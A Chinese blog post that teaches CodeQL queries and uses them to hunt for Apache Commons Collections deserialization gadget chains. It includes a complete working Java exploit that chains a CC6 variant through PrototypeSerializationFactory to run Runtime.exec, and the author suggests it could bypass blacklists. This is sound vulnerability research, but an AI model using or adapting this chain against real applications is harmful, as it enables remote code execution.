此文章在SecIN安全技術社區首發
前言
學習了一下CodeQL的各種使用方式,決定使用CodeQL細談一下CC鏈挖掘,通過一步一步的朝著我們既定的目標進行靠近,最終成功的找到了一條雞肋的二次反序列化的入口
前奏
CodeQL本身包含兩部分決議引擎+ SDK ,
決議引擎用來決議我們撰寫的規則,雖然不開源,但是我們可以直接在官網下載二進制檔案直接使用,
SDK 完全開源,里面包含大部分現成的漏洞規則,我們也可以利用其撰寫自定義規則
安裝
下載CodeQL執行程式
將SDK下載到同目錄
cd ~/CodeQL&git clone https://github.com/Semmle/ql
之后將執行程式添加進入環境變數
然后再VScode中安裝CodeQL插件,之后配置擴展,如果添加了環境變數就直接為空,沒有添加就輸入對應可執行檔案的路徑
簡單使用
基本語法
型別
- 字符型別
String
存在類似于 CharAt(0) 的內置函式
- 整型與浮點型 https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
- 日期型 https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
- 布爾型
https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
從未被使用的引數
import java from Parameter p where not exists( p.getAnAccess() ) select p
聚合使用
from Person t where t.getAge() = max(int i | exists(Person p | p.getAge() = i) | i) select t select max(Person p | | p order by p.getAge()) min(Person p | p.getLocation() = "east" | p order by p.getHeight()) count(Person p | p.getLocation() = "south" | p) avg(Person p | | p.getHeight()) sum(Person p | p.getHairColor() = "brown" | p.getAge())
生成Database
Creating CodeQL databases — CodeQL (github.com)
codeql.exe database create test --language=java --command="mvn clean compile --file pom.xml -Dmaven.test.skip=true" --source-root=../micro_service_seclab/ # 如何mvn編譯報錯使用 mvn compile -fn忽略錯誤
閉源構建資料庫
閉源專案創建資料庫,可以使用該工具:https://github.com/ice-doom/codeql_compile
- https://github.com/waderwu/extractor-java
同樣可以在windows中使用,將run.py中的codeql_home手工修改,而不是使用which命令得到路徑
構建JDK
(34條訊息) 編譯OpenJDK8并生成CodeQL資料庫_n0body-mole的博客-CSDN博客
匯入Database
和SQL語言一樣,我們執行QL查詢,肯定是要先指定一個資料庫才可以,
選中插件,之后配置生成的資料庫
類別庫
| 名稱 | 解釋 |
|---|---|
| Method | 方法類,Method method表示獲取當前專案中所有的方法 |
| MethodAccess | 方法呼叫類,MethodAccess call表示獲取當前專案當中的所有方法呼叫 |
| Parameter | 引數類,Parameter表示獲取當前專案當中所有的引數 |
簡單使用
Method內置方法
method.getName() 獲取的是當前方法的名稱 method.getDeclaringType() 獲取的是當前方法所屬class的名稱, method.hasName() 判斷是否有該方法 import java from Method method where method.hasName("getStudent") select method.getName(), method.getDeclaringType()
謂詞
predicate 表示當前方法沒有回傳值,
exists子查詢,是CodeQL謂詞語法里非常常見的語法結構,它根據內部的子查詢回傳true or false,來決定篩選出哪些資料,
import java
predicate isStudent(Method method) {
exists(|method.hasName("getStudent"))
}
from Method method
where isStudent(method)
select method.getName(), method.getDeclaringType()
//沒有結果的謂詞
predicate isSmall(int i) {
i in [1 .. 9]
}
//帶有回傳結果的謂詞
int getSuccessor(int i) {
result = i + 1 and
i in [1 .. 9]
} //如果i是小于10的正整數,那么謂詞的回傳結果就是i后面的那個整數
設定Source Sink
什么是source和sink
在代碼自動化安全審計的理論當中,有一個最核心的三元組概念,就是(source,sink和sanitizer),
source是指漏洞污染鏈條的輸入點,比如獲取http請求的引數部分,就是非常明顯的Source,
sink是指漏洞污染鏈條的執行點,比如SQL注入漏洞,最終執行SQL陳述句的函式就是sink(這個函式可能叫query或者exeSql,或者其它),
sanitizer又叫凈化函式,是指在整個的漏洞鏈條當中,如果存在一個方法阻斷了整個傳遞鏈,那么這個方法就叫sanitizer,
設定source
override predicate isSource(DataFlow::Node src) {} // 通用的source入口規則 override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }
設定Sink
override predicate isSink(DataFlow::Node sink) { } // 查找一個query()方法的呼叫點,并把它的第一個引數設定為sink override predicate isSink(DataFlow::Node sink) { exists(Method method, MethodAccess call | method.hasName("query") and call.getMethod() = method and sink.asExpr() = call.getArgument(0) ) }
Flow資料流
連通作業就是CodeQL引擎本身來完成的,我們通過使用config.hasFlowPath(source, sink)方法來判斷是否連通,
from VulConfig config, DataFlow::PathNode source, DataFlow::PathNode sink where config.hasFlowPath(source, sink) select source.getNode(), source, sink, "source" //我們傳遞給config.hasFlowPath(source, sink)我們定義好的source和sink,系統就會自動幫我們判斷是否存在漏洞了
命令列持續化使用規則
在撰寫了相應規則之后,就可以直接在命令列行中執行規則,檢測其他專案
首先生成 Database
之后通過我們撰寫的規則進行分析,輸出為CSV檔案
codeql database analyze /CodeQL/databases/micro-service-seclab /CodeQL/ql/java/ql/examples/demo --format=csv --output=/CodeQL/Result/micro-service-seclab.csv --rerun
實體
使用jdbcTemplate.query方法的SQL注入
import java import semmle.code.java.dataflow.FlowSources import semmle.code.java.security.QueryInjection import DataFlow::PathGraph class VulConfig extends TaintTracking::Configuration { VulConfig() { this = "SqlinjectionConfig" } override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource } override predicate isSink(DataFlow::Node sink) { exists(Method method, MethodAccess call | method.hasName("query") and call.getMethod() = method and sink.asExpr() = call.getArgument(0)) } } from VulConfig vulconfig, DataFlow::PathNode source, DataFlow::PathNode sink where vulconfig.hasFlowPath(source, sink) select source.getNode(), source, sink, "source"
報錯解決
如果存在Source位置是List<Long> param型別的傳參,這里是不可能存在SQL注入的我們可以使用TaintTracking::Configuration提供的凈化方法isSanitizer
override predicate isSanitizer(DataFlow::Node node) { node.getType() instanceof PrimitiveType or node.getType() instanceof BoxedType or node.getType() instanceof NumberType or exists(ParameterizedType pt | node.getType() = pt and pt.getTypeArgument(0) instanceof NumberType) }
復雜使用
instanceof優化查詢結構
我們可以使用exists(|)這種子查詢的方式定義source和sink,但是如果source/sink特別復雜(比如我們為了規則通用,可能要適配springboot, Thrift RPC,Servlet等source),如果我們把這些都在一個子查詢內完成,比如 condition 1 or conditon 2 or condition 3, 這樣一直下去,我們可能后面都看不懂了,更別說可維護性了,
instanceof給我們提供了一種機制,我們只需要定義一個abstract class
比如 RemoteFlowSource 抽象類的撰寫
/** A data flow source of remote user input. */ abstract class RemoteFlowSource extends DataFlow::Node { /** Gets a string that describes the type of this remote flow source. */ abstract string getSourceType(); }
CodeQL和Java不太一樣,只要我們的子類繼承了這個RemoteFlowSource類,那么所有子類就會被呼叫,它所代表的source也會被加載
存在非常多繼承這個抽象類的子類,所以他們的結果會被and串聯在一起
遞回查詢
CodeQL里面的遞回呼叫語法是:在謂詞方法的后面跟*或者+,來表示呼叫0次以上和1次以上(和正則類似),0次會列印自己
在Java語言里,我們可以使用class嵌套class,多個內嵌class的時候,我們需要知道最外層的class是什么怎么辦?
非遞回,知道嵌套的層數:
import java from Class classes where classes.getName().toString() = "innerTwo" select classes.getEnclosingType().getEnclosingType() // getEnclosingtype獲取作用域
使用遞回語法
from Class classes where classes.getName().toString() = "innerTwo" select classes.getEnclosingType+() // 獲取作用域
代碼分析平臺CodeQL學習手記(七) - 嘶吼 RoarTalk – 回歸最本質的資訊安全,互聯網安全新媒體,4hou.com
強制型別轉換
import java from Parameter param select param, param.getType().(IntegralType) //篩選出getType方法符合后面了型別的結果
正文
這里主要是探討由transform呼叫層面的挖掘
transform
我們通過codeql尋找transform方法的呼叫
class TransformCallable extends Callable { TransformCallable() { this.getName().matches("transform") and this.getNumberOfParameters() = 1 } }

可以看出來結果挺多的,之后我們人工排查一下
TransformedCollection
在 TransformedCollection#transform 的呼叫中存在可以呼叫其他transformer的transform方法的邏輯

沒啥用,都已經可以呼叫任意transform了,還需要這一步嗎?
ChainedTransformer
在 ChainedTransformer#transform 方法中存在 iTransformers 中的所有的transform的呼叫,這里也就是yoserial專案中的利用鏈**
**
CloneTransformer
在 CloneTransformer#transform 方法中存在, PrototypeFactory類實體化之后呼叫了create方法

我們跟進一下

代碼中表示如果需要transformer的類存在clone方法,就會回傳一個 new PrototypeCloneFactory 物件,之后呼叫他的create方法,如果沒有就會進入catch陳述句,回傳一個 new InstantiateFactory 物件,但是這里因為在其類中的create方法中引數不可控不能夠利用

ClosureTransformer
在 ClosureTransformer#transform 方法中,存在 Closure#execute 方法的呼叫
Closure#execute
我們來查找一下有沒有可用的實作了 org.apache.commons.collections.Closure 介面的類的execute呼叫
class ClosureCallable extends Callable { ClosureCallable() { this.getName().matches("execute") and this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure") } }

我們一個一個來看下對應的execute方法
大概看了一下,發現不是 this.iClosure.execute(input) 呼叫就是 this.iPredicate.evaluate(input)
只有一個 TransformerClosure#execute 方法中呼叫了transform,但是也不能形成利用鏈,最多算一個中轉
ConstantTransformer
在 ConstantTransformer#transform 方法中,將會回傳一個構造方法,同樣在yoserial中有所利用
FactoryTransformer
在 FactoryTransformer#transform 方法中,呼叫了 Factory 介面的類的create方法
查看一下滿足條件的類把
Factory#create
class FactoryCallable extends Callable { FactoryCallable() { this.getName().matches("create") and this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Factory") } }

進入看一看
InstantiateFactory
這里有一個 InstantiateFactory 類,好生熟悉,這不就是之前那篇文章中的CC鏈的挖掘,在其create方法中存在建構式的實體化

例如已知的 InstantiateFactory , 我們嘗試挖掘一下
類似其中會呼叫TemplateImpl#newTransformer方法
/** * @kind path-problem */ import java class ConstructCallable extends Callable { ConstructCallable() { this instanceof Constructor } } class MethodCallable extends Callable { MethodCallable() { this.getName().matches("newTransformer") and this.getDeclaringType().getName().matches("TemplatesImpl") } } query predicate edges(Callable a, Callable b) { a.polyCalls(b) } from MethodCallable endcall, ConstructCallable entrypoint where edges+(entrypoint, endcall) select endcall, entrypoint, endcall, "find Contructor in jdk"

很合理我們得到了這個構造方法
雖然這里的 iConstructor 屬性被 transient 修飾,但是在findConstructor中存在賦值
PrototypeSerializationFactory
之后有一個類為 PrototypeSerializationFactory 他是一個靜態內部類
剛開始看的時候覺得這不純純一個二次反序列化的入口嗎,直接跟進一下子代碼
在其建構式中有對 iPrototype 屬性的賦值操作
我們可以嘗試直接將CC6拼接上去
import org.apache.commons.collections.Factory; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.FactoryTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CC6_plus_plus { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception{ //仿照ysoserial中的寫法,防止在本地除錯的時候觸發命令 Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(faketransformers); Map innerMap = new HashMap(); Map outMap = LazyMap.decorate(innerMap, transformerChain); //實體化 TiedMapEntry tme = new TiedMapEntry(outMap, "key"); Map expMap = new HashMap(); //將其作為key鍵傳入 expMap.put(tme, "value"); //remove outMap.remove("key"); //傳入利用鏈 Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); Class c; c = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory"); Constructor constructor = c.getDeclaredConstructor(Serializable.class); constructor.setAccessible(true); Object o = constructor.newInstance(expMap); FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) o); ConstantTransformer constantTransformer = new ConstantTransformer(1); Map innerMap1 = new HashMap(); LazyMap outerMap1 = (LazyMap)LazyMap.decorate(innerMap1, constantTransformer); TiedMapEntry tme1 = new TiedMapEntry(outerMap1, "keykey"); Map expMap1 = new HashMap(); expMap1.put(tme1, "valuevalue"); setFieldValue(outerMap1,"factory",factoryTransformer); outerMap1.remove("keykey"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(expMap); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }

能夠成功執行,好吧,感覺挺雞肋的,但是應該可以結合其他依賴,作為其他反序列入口來打,或者作為一個黑名單繞過
PrototypeCloneFactory
之后又是一個 PrototypeCloneFactory#create 方法中

似乎可以任意方法的呼叫,但是我們注意到

其被transient修飾,且不像 InstantiateFactory 中存在賦值操作,但是我們同樣可以注意到其在呼叫 findCloneMethod 方法中的時候,取出了對應類的clone方法,如果clone方法有可以利用的是不是就可以形成利用鏈

我們查找一下clone方法存在的類
import java class CloneCallable extends Callable{ CloneCallable() { this.getName().matches("clone") } } from CloneCallable c select c,c.getBody(), c.getDeclaringType()

在BeanMap中,對應的clone方法中存在newInstance的呼叫且其 beanClass 可控,但是是無參構造方法,無法形成利用鏈

其他的呼叫我簡單看了一下,沒有什么特別的地方
最后一個是 ReflectionFactory 的呼叫,同樣是無參構造方法
InstantiateTransformer
而對于 InstantiateTransformer#transform 方法中可以進行 InvokerTransformer 的替代使用,可以觸發一些類的構造方法
比如說 TrAXFilter

InvokerTransformer
接下來就是ysoserial中存在的 InvokerTransformer#transform 方法中可以反射呼叫可控的方法
PredicateTransformer
而又在 PredicateTransformer#transform 方法中存在Predicate介面實作類的evaluate方法
Predicate#evaluate
淺看一下對應類
import java class PredicateCallable extends Callable { PredicateCallable() { this.getName().matches("evaluate") and this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Predicate") } } from PredicateCallable c select c, c.getBody(), c.getDeclaringType()

都是一些沒有亮點的東西
SwitchTransformer
之后 SwitchTransformer#transform 方法中,存在有類似 ChainedTransformer#transform 的功能
但是需要滿足 this.iPredicates[i].evaluate(input)為true ,而且似乎這里只能呼叫一次transform,不能形成鏈子,也沒有了意義
總結
鏈子沒有挖出來什么比較新的鏈子,有一個比較雞肋的二次反序列化的鏈子,但是主要還是體會這種使用靜態分析工具輔助自己進行挖掘新鏈,這次主要是在CC鏈中進行transformer層面的深度挖掘,當然還可以在動態代理等等方面進行深層次的探索,又或者以來其他依賴庫結合進行挖掘利用的方式也是可行的
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/553078.html
標籤:其他
上一篇:Pytest - pytest 命令(2) - 命令引數及含義
下一篇:返回列表
